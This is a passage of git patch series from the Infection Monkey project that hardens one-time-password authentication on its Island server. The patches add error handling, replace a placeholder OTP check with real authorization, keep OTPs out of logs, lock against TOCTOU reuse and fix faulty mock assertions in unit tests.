MagicMock(spec=mongomock.Collection) client.monkey_island.otp.insert_one = MagicMock(side_effect=Exception("insert failed")) + client.monkey_island.otp.update_one = MagicMock(side_effect=Exception("insert failed")) client.monkey_island.otp.find_one = MagicMock(side_effect=Exception("find failed")) client.monkey_island.otp.delete_one = MagicMock(side_effect=Exception("delete failed")) client.monkey_island.otp.drop = MagicMock(side_effect=Exception("drop failed")) @@ -128,3 +129,8 @@ def test_set_used(otp_repository: IOTPRepository): otp_repository.set_used(otp) assert otp_repository.otp_is_used(otp) + + +def test_set_used__storage_error(error_raising_otp_repository: IOTPRepository): + with pytest.raises(StorageError): + error_raising_otp_repository.set_used("test_otp") From 74ec8aec17bbf4b6e07a521d5cf90776a1f0d18b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 12:57:32 -0400 Subject: [PATCH 1131/1338] Island: Handle known OTP error in MongoOTPRepository.set_used() --- .../authentication_service/mongo_otp_repository.py | 7 ++++++- .../authentication_service/test_mongo_otp_repository.py | 5 +++++ 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py index 1f721c4cff7..86377d1977c 100644 --- a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py @@ -39,10 +39,15 @@ def insert_otp(self, otp: OTP, expiration: float): def set_used(self, otp: OTP): try: encrypted_otp = self._encryptor.encrypt(otp.encode()) - self._otp_collection.update_one({"otp": encrypted_otp}, {"$set": {"used": True}}) + update_result = self._otp_collection.update_one( + {"otp": encrypted_otp}, {"$set": {"used": True}} + ) except Exception as err: raise StorageError(f"Error updating OTP: {err}") + if update_result.matched_count == 0: + raise UnknownRecordError(f"Unknown OTP: {otp}") + def get_expiration(self, otp: OTP) -> float: otp_dict = self._get_otp_document(otp) return otp_dict["expiration_time"] diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py index 25a70bcc794..258af69707a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py @@ -134,3 +134,8 @@ def test_set_used(otp_repository: IOTPRepository): def test_set_used__storage_error(error_raising_otp_repository: IOTPRepository): with pytest.raises(StorageError): error_raising_otp_repository.set_used("test_otp") + + +def test_set_used__unknown_record_error(otp_repository: IOTPRepository): + with pytest.raises(UnknownRecordError): + otp_repository.set_used("test_otp") From 90792ceb886518817cc6dd3c7cbd11522004a744 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 13:25:04 -0400 Subject: [PATCH 1132/1338] Island: Use cached _get_otp_object_id() in set_used() --- .../authentication_service/mongo_otp_repository.py | 10 +++------- .../test_mongo_otp_repository.py | 5 ++++- 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py index 86377d1977c..532bcc0d3c9 100644 --- a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py @@ -37,17 +37,13 @@ def insert_otp(self, otp: OTP, expiration: float): raise StorageError(f"Error inserting OTP: {err}") def set_used(self, otp: OTP): + otp_id = self._get_otp_object_id(otp) + try: - encrypted_otp = self._encryptor.encrypt(otp.encode()) - update_result = self._otp_collection.update_one( - {"otp": encrypted_otp}, {"$set": {"used": True}} - ) + self._otp_collection.update_one({MONGO_OBJECT_ID_KEY: otp_id}, {"$set": {"used": True}}) except Exception as err: raise StorageError(f"Error updating OTP: {err}") - if update_result.matched_count == 0: - raise UnknownRecordError(f"Unknown OTP: {otp}") - def get_expiration(self, otp: OTP) -> float: otp_dict = self._get_otp_document(otp) return otp_dict["expiration_time"] diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py index 258af69707a..8563a07291a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py @@ -131,7 +131,10 @@ def test_set_used(otp_repository: IOTPRepository): assert otp_repository.otp_is_used(otp) -def test_set_used__storage_error(error_raising_otp_repository: IOTPRepository): +def test_set_used__storage_error( + error_raising_mongo_client: mongomock.MongoClient, error_raising_otp_repository: IOTPRepository +): + error_raising_mongo_client.monkey_island.otp.find_one.side_effect = None with pytest.raises(StorageError): error_raising_otp_repository.set_used("test_otp") From b413666548b329d4d94492557279fce17f316327 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 13:25:35 -0400 Subject: [PATCH 1133/1338] UT: Add test for idempotence of set_used() --- .../test_mongo_otp_repository.py | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py index 8563a07291a..efe2ee69538 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py @@ -142,3 +142,14 @@ def test_set_used__storage_error( def test_set_used__unknown_record_error(otp_repository: IOTPRepository): with pytest.raises(UnknownRecordError): otp_repository.set_used("test_otp") + + +def test_set_used__idempotent(otp_repository: IOTPRepository): + otp = "test_otp" + otp_repository.insert_otp(otp, 1) + + otp_repository.set_used(otp) + otp_repository.set_used(otp) + otp_repository.set_used(otp) + + assert otp_repository.otp_is_used(otp) From 342c56076c06845f45ef79339a8c767f40b658b6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 13:28:00 -0400 Subject: [PATCH 1134/1338] Island: Use uniform RetrievalError message in _get_otp_document() --- .../services/authentication_service/mongo_otp_repository.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py index 532bcc0d3c9..e9a6e567a52 100644 --- a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py @@ -54,16 +54,17 @@ def otp_is_used(self, otp: OTP) -> bool: def _get_otp_document(self, otp: OTP) -> Mapping[str, Any]: otp_object_id = self._get_otp_object_id(otp) + retrieval_error_message = f"Error retrieving OTP {otp} with ID {otp_object_id}" try: otp_dict = self._otp_collection.find_one( {"_id": otp_object_id}, {MONGO_OBJECT_ID_KEY: False} ) except Exception as err: - raise RetrievalError(f"Error retrieving OTP: {err}") + raise RetrievalError(f"{retrieval_error_message}: {err}") if otp_dict is None: - raise RetrievalError(f"Error retrieving OTP {otp} with ID {otp_object_id}") + raise RetrievalError(retrieval_error_message) return otp_dict From 2bd6f215554ecc42e7aa3090b9cbe27be7cf3e01 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 13:30:50 -0400 Subject: [PATCH 1135/1338] Island: Fix UnknownRecordError logic in set_used() --- .../cc/services/authentication_service/i_otp_repository.py | 1 + .../services/authentication_service/mongo_otp_repository.py | 5 +++-- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py index b42b52a8d98..b774371505a 100644 --- a/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py @@ -23,6 +23,7 @@ def set_used(self, otp: OTP): :param otp: The OTP set as "used" :raises StorageError: If an error occurs while attempting to update the OTP + :raises UnknownRecordError: If the OTP is not found in the repository """ @abstractmethod diff --git a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py index e9a6e567a52..57dcf9b07c6 100644 --- a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py @@ -37,10 +37,11 @@ def insert_otp(self, otp: OTP, expiration: float): raise StorageError(f"Error inserting OTP: {err}") def set_used(self, otp: OTP): - otp_id = self._get_otp_object_id(otp) - try: + otp_id = self._get_otp_object_id(otp) self._otp_collection.update_one({MONGO_OBJECT_ID_KEY: otp_id}, {"$set": {"used": True}}) + except UnknownRecordError as err: + raise err except Exception as err: raise StorageError(f"Error updating OTP: {err}") From 6ee6b7178e151c0ad4848a7c2791693894b6e68c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 13:52:14 -0400 Subject: [PATCH 1136/1338] Island: Set OTP as used if otp_is_valid() is called --- .../authentication_service/authentication_facade.py | 9 +++++++-- .../test_authentication_service.py | 1 + 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index ffdbdebfc22..86807819ec7 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -109,9 +109,14 @@ def mark_otp_as_used(self, otp: OTP): def otp_is_valid(self, otp: OTP) -> bool: otp_is_used = self._otp_repository.otp_is_used(otp) - expiration_time = self._otp_repository.get_expiration(otp) + # When this method is called, that constitutes the OTP being "used". Set it as such ASAP. + self._otp_repository.set_used(otp) - if otp_is_used or expiration_time < time.monotonic(): + if otp_is_used: + return False + + expiration_time = self._otp_repository.get_expiration(otp) + if expiration_time < time.monotonic(): return False return True diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 341ae477efb..270df076c92 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -253,6 +253,7 @@ def test_otp_is_valid( assert authentication_facade.otp_is_valid(otp) == otp_is_valid_expected_value assert mock_otp_repository.otp_is_used.called_once_with(otp) assert mock_otp_repository.get_expiration.called_once_with(otp) + mock_otp_repository.set_used.assert_called_once() # mongomock.MongoClient is not a pymongo.MongoClient. This class allows us to register a From a6a3dcac664aba6936c6834250be982908d2da23 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 13:57:24 -0400 Subject: [PATCH 1137/1338] Island: Make otp_is_valid() more explicit --- .../authentication_service/authentication_facade.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 86807819ec7..1362ea601c1 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -115,11 +115,13 @@ def otp_is_valid(self, otp: OTP) -> bool: if otp_is_used: return False - expiration_time = self._otp_repository.get_expiration(otp) - if expiration_time < time.monotonic(): - return False + if not self._otp_ttl_elapsed(otp): + return True + + return False - return True + def _otp_ttl_elapsed(self, otp: OTP) -> bool: + return self._otp_repository.get_expiration(otp) < time.monotonic() def handle_successful_registration(self, username: str, password: str): self._reset_island_data() From ea8afd42887f73e6f5721a3642a4ef96d983dcc3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 14:02:59 -0400 Subject: [PATCH 1138/1338] Island: Handle unknown record error in otp_is_valid() --- .../authentication_facade.py | 21 ++++++++++++------- .../test_authentication_service.py | 14 +++++++++++++ 2 files changed, 27 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 1362ea601c1..75083096740 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -7,6 +7,7 @@ from common.utils.code_utils import secure_generate_random_string from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode +from monkey_island.cc.repositories import UnknownRecordError from monkey_island.cc.server_utils.encryption import ILockableEncryptor from monkey_island.cc.services.authentication_service.token_generator import TokenGenerator @@ -108,17 +109,21 @@ def mark_otp_as_used(self, otp: OTP): self._otp_repository.set_used(otp) def otp_is_valid(self, otp: OTP) -> bool: - otp_is_used = self._otp_repository.otp_is_used(otp) - # When this method is called, that constitutes the OTP being "used". Set it as such ASAP. - self._otp_repository.set_used(otp) + try: + otp_is_used = self._otp_repository.otp_is_used(otp) + # When this method is called, that constitutes the OTP being "used". + # Set it as used ASAP. + self._otp_repository.set_used(otp) - if otp_is_used: - return False + if otp_is_used: + return False - if not self._otp_ttl_elapsed(otp): - return True + if not self._otp_ttl_elapsed(otp): + return True - return False + return False + except UnknownRecordError: + return False def _otp_ttl_elapsed(self, otp: OTP) -> bool: return self._otp_repository.get_expiration(otp) < time.monotonic() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 270df076c92..8862b68250a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -10,6 +10,7 @@ from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode +from monkey_island.cc.repositories import UnknownRecordError from monkey_island.cc.server_utils.encryption import ILockableEncryptor from monkey_island.cc.services.authentication_service.authentication_facade import ( OTP_EXPIRATION_TIME, @@ -256,6 +257,19 @@ def test_otp_is_valid( mock_otp_repository.set_used.assert_called_once() +def test_otp_is_valid__unknown_otp( + authentication_facade: AuthenticationFacade, + mock_otp_repository: IOTPRepository, +): + otp = "secret" + + mock_otp_repository.otp_is_used.side_effect = UnknownRecordError(f"Unknown otp {otp}") + mock_otp_repository.set_used.side_effect = UnknownRecordError(f"Unknown otp {otp}") + mock_otp_repository.get_expiration.side_effect = UnknownRecordError(f"Unknown otp {otp}") + + assert authentication_facade.otp_is_valid(otp) is False + + # mongomock.MongoClient is not a pymongo.MongoClient. This class allows us to register a # mongomock.MongoClient as a pymongo.MongoClient with the StubDIContainer. class MockMongoClient(mongomock.MongoClient, pymongo.MongoClient): From 9d10aba705a257e5b5422eee29274bc4cc77d914 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 14:10:50 -0400 Subject: [PATCH 1139/1338] Island: Rename otp_is_valid() -> authorize_otp() --- .../authentication_service/authentication_facade.py | 2 +- .../test_authentication_service.py | 10 ++++------ 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 75083096740..dee33cc128b 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -108,7 +108,7 @@ def generate_refresh_token(self, user: User) -> Token: def mark_otp_as_used(self, otp: OTP): self._otp_repository.set_used(otp) - def otp_is_valid(self, otp: OTP) -> bool: + def authorize_otp(self, otp: OTP) -> bool: try: otp_is_used = self._otp_repository.otp_is_used(otp) # When this method is called, that constitutes the OTP being "used". diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 8862b68250a..32698cb4ab5 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -236,7 +236,7 @@ def test_mark_otp_as_used( (True, TIME_FLOAT + 1, False), # used, before expiration time ], ) -def test_otp_is_valid( +def test_authorize_otp( authentication_facade: AuthenticationFacade, mock_otp_repository: IOTPRepository, freezer, @@ -251,13 +251,11 @@ def test_otp_is_valid( mock_otp_repository.otp_is_used.return_value = otp_is_used_return_value mock_otp_repository.get_expiration.return_value = get_expiration_return_value - assert authentication_facade.otp_is_valid(otp) == otp_is_valid_expected_value - assert mock_otp_repository.otp_is_used.called_once_with(otp) - assert mock_otp_repository.get_expiration.called_once_with(otp) + assert authentication_facade.authorize_otp(otp) == otp_is_valid_expected_value mock_otp_repository.set_used.assert_called_once() -def test_otp_is_valid__unknown_otp( +def test_authorize_otp__unknown_otp( authentication_facade: AuthenticationFacade, mock_otp_repository: IOTPRepository, ): @@ -267,7 +265,7 @@ def test_otp_is_valid__unknown_otp( mock_otp_repository.set_used.side_effect = UnknownRecordError(f"Unknown otp {otp}") mock_otp_repository.get_expiration.side_effect = UnknownRecordError(f"Unknown otp {otp}") - assert authentication_facade.otp_is_valid(otp) is False + assert authentication_facade.authorize_otp(otp) is False # mongomock.MongoClient is not a pymongo.MongoClient. This class allows us to register a From 989aefd73d03d1ed197cf2e9305ee81fae7c089b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 14:12:28 -0400 Subject: [PATCH 1140/1338] UT: Fix "called_once_with()" calls "called_once_with()" does not exist. It succeeds because mock mock objects allow you to call arbitrary methods. --- .../authentication_service/test_authentication_service.py | 4 ++-- .../monkey_island/cc/services/test_agent_signals_service.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 32698cb4ab5..71330800444 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -199,7 +199,7 @@ def test_generate_otp__saves_otp( ): otp = authentication_facade.generate_otp() - assert mock_otp_repository.insert_otp.called_once_with(otp) + mock_otp_repository.insert_otp.assert_called_once_with(otp) def test_generate_otp__uses_expected_expiration_time( @@ -218,7 +218,7 @@ def test_mark_otp_as_used( otp = "secret" authentication_facade.mark_otp_as_used(otp) - assert mock_otp_repository.set_used.called_once_with(otp) + mock_otp_repository.set_used.assert_called_once_with(otp) TIME = "2020-01-01 00:00:00" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py index 171e14a09be..203c21bb5b1 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py @@ -164,7 +164,7 @@ def test_on_terminate_agents_signal__stores_timestamp( agent_signals_service.on_terminate_agents_signal(terminate_all_agents) expected_value = Simulation(terminate_signal_time=timestamp) - assert mock_simulation_repository.save_simulation.called_once_with(expected_value) + mock_simulation_repository.save_simulation.assert_called_once_with(expected_value) def test_on_terminate_agents_signal__updates_timestamp( @@ -180,7 +180,7 @@ def test_on_terminate_agents_signal__updates_timestamp( agent_signals_service.on_terminate_agents_signal(terminate_all_agents) expected_value = Simulation(mode=IslandMode.RANSOMWARE, terminate_signal_time=timestamp) - assert mock_simulation_repository.save_simulation.called_once_with(expected_value) + mock_simulation_repository.save_simulation.assert_called_once_with(expected_value) def test_terminate_signal__not_set_if_agent_registered_before_another(agent_signals_service): From 1195d1c22c7c64e3b49659cc65024a5b192429ce Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 14:16:39 -0400 Subject: [PATCH 1141/1338] Island: Fix broken test_generate_otp__saves_otp() --- .../authentication_service/test_authentication_service.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 71330800444..87af56ef5ef 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -199,7 +199,7 @@ def test_generate_otp__saves_otp( ): otp = authentication_facade.generate_otp() - mock_otp_repository.insert_otp.assert_called_once_with(otp) + assert mock_otp_repository.insert_otp.call_args[0][0] == otp def test_generate_otp__uses_expected_expiration_time( From a6bc0557e11bb4f0b4c36395d9c4995b14af9110 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 14:17:49 -0400 Subject: [PATCH 1142/1338] Island: Remove unneeded AuthenticationFacade.mark_otp_as_used() --- .../authentication_service/authentication_facade.py | 3 --- .../test_authentication_service.py | 9 --------- 2 files changed, 12 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index dee33cc128b..073421e7e41 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -105,9 +105,6 @@ def generate_refresh_token(self, user: User) -> Token: """ return self._token_generator.generate_token(user.fs_uniquifier) - def mark_otp_as_used(self, otp: OTP): - self._otp_repository.set_used(otp) - def authorize_otp(self, otp: OTP) -> bool: try: otp_is_used = self._otp_repository.otp_is_used(otp) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 87af56ef5ef..252ad3446a5 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -212,15 +212,6 @@ def test_generate_otp__uses_expected_expiration_time( assert expiration_time == expected_expiration_time -def test_mark_otp_as_used( - authentication_facade: AuthenticationFacade, mock_otp_repository: IOTPRepository -): - otp = "secret" - authentication_facade.mark_otp_as_used(otp) - - mock_otp_repository.set_used.assert_called_once_with(otp) - - TIME = "2020-01-01 00:00:00" TIME_FLOAT = 1577836800.0 From 7b93791468ba54a1047e28637e1a28995cb8e5ad Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 14:27:36 -0400 Subject: [PATCH 1143/1338] Island: Perform real OTP authorization check in AgentOTPLogin --- .../flask_resources/agent_otp_login.py | 5 +---- .../flask_resources/test_agent_otp_login.py | 7 ++++--- 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index 9d3514f593e..4dc54f7a6c9 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -45,7 +45,7 @@ def post(self): except ArgumentParsingException as err: return make_response(str(err), HTTPStatus.BAD_REQUEST) - if not self._validate_otp(otp): + if not self._authentication_facade.authorize_otp(otp): return make_response({}, HTTPStatus.UNAUTHORIZED) agent_user = register_user( @@ -91,6 +91,3 @@ def _get_request_arguments(self, request_data) -> Tuple[AgentID, OTP]: raise ArgumentParsingException("Could not parse the login request") return agent_id, otp - - def _validate_otp(self, otp: OTP): - return len(otp) > 0 diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py index ee0af097ac3..79d291e885c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py @@ -56,15 +56,16 @@ def test_invalid_json(flask_client): assert response.status_code == HTTPStatus.BAD_REQUEST -def test_unauthorized(agent_otp_login): +def test_unauthorized(mock_authentication_facade, agent_otp_login): # TODO: Update this test when OTP validation is implemented. - response = agent_otp_login({"agent_id": AGENT_ID, "otp": ""}) + mock_authentication_facade.authorize_otp.return_value = False + response = agent_otp_login({"agent_id": AGENT_ID, "otp": "password"}) assert response.status_code == HTTPStatus.UNAUTHORIZED def test_unexpected_error(mock_authentication_facade, agent_otp_login): - mock_authentication_facade.generate_refresh_token.side_effect = Exception("Unexpected error") + mock_authentication_facade.authorize_otp.side_effect = Exception("Unexpected error") response = agent_otp_login({"agent_id": AGENT_ID, "otp": "password"}) assert response.status_code == HTTPStatus.INTERNAL_SERVER_ERROR From 092d2b0c1bf5f619de63a43275d945881586a7ae Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 14:31:10 -0400 Subject: [PATCH 1144/1338] Island: Don't log out OTPs on failure We want to avoid leaking secrets into the log. --- .../cc/services/authentication_service/mongo_otp_repository.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py index 57dcf9b07c6..28acd4d6d05 100644 --- a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py @@ -55,7 +55,7 @@ def otp_is_used(self, otp: OTP) -> bool: def _get_otp_document(self, otp: OTP) -> Mapping[str, Any]: otp_object_id = self._get_otp_object_id(otp) - retrieval_error_message = f"Error retrieving OTP {otp} with ID {otp_object_id}" + retrieval_error_message = f"Error retrieving OTP with ID {otp_object_id}" try: otp_dict = self._otp_collection.find_one( From 4e777387c31a343c5ab57a84567c0c6bdcf0b752 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 14:35:41 -0400 Subject: [PATCH 1145/1338] Island: Prevent TOCTOU vulnerabilities in authorize_otp() --- .../authentication_facade.py | 29 +++++++++++-------- 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 073421e7e41..c049a5b6e08 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -1,5 +1,6 @@ import string import time +from threading import Lock from typing import Tuple from flask_security import UserDatastore @@ -40,6 +41,7 @@ def __init__( self._token_generator = token_generator self._token_parser = token_parser self._otp_repository = otp_repository + self._otp_read_lock = Lock() def needs_registration(self) -> bool: """ @@ -106,21 +108,24 @@ def generate_refresh_token(self, user: User) -> Token: return self._token_generator.generate_token(user.fs_uniquifier) def authorize_otp(self, otp: OTP) -> bool: - try: - otp_is_used = self._otp_repository.otp_is_used(otp) - # When this method is called, that constitutes the OTP being "used". - # Set it as used ASAP. - self._otp_repository.set_used(otp) + # SECURITY: This method must not run concurrently, otherwise there could be TOCTOU errors, + # resulting in an OTP being used twice. + with self._otp_read_lock: + try: + otp_is_used = self._otp_repository.otp_is_used(otp) + # When this method is called, that constitutes the OTP being "used". + # Set it as used ASAP. + self._otp_repository.set_used(otp) - if otp_is_used: - return False + if otp_is_used: + return False - if not self._otp_ttl_elapsed(otp): - return True + if not self._otp_ttl_elapsed(otp): + return True - return False - except UnknownRecordError: - return False + return False + except UnknownRecordError: + return False def _otp_ttl_elapsed(self, otp: OTP) -> bool: return self._otp_repository.get_expiration(otp) < time.monotonic() From d46edb10c24217cb543a30fc65ef4e1135b27dc6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 19:37:31 -0400 Subject: [PATCH 1146/1338] Common: Export OTP from common.types --- monkey/common/types/__init__.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/common/types/__init__.py b/monkey/common/types/__init__.py index 8f4d9289f62..4c07ceff2ab 100644 --- a/monkey/common/types/__init__.py +++ b/monkey/common/types/__init__.py @@ -5,3 +5,4 @@ from .networking import NetworkService, NetworkPort, PortStatus, SocketAddress, NetworkProtocol from .plugin_types import PluginName from .plugin_types import PluginVersion +from .otp import OTP From ddfbc0d8d2036483a8ad5b69f8ae685d48c9df5b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 19:39:23 -0400 Subject: [PATCH 1147/1338] Agent: Use simpler import for OTP type --- .../island_api_client/http_island_api_client.py | 3 +-- monkey/infection_monkey/monkey.py | 3 +-- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index b2cb3e6ca8d..d5d3f5f13d4 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -16,8 +16,7 @@ from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from 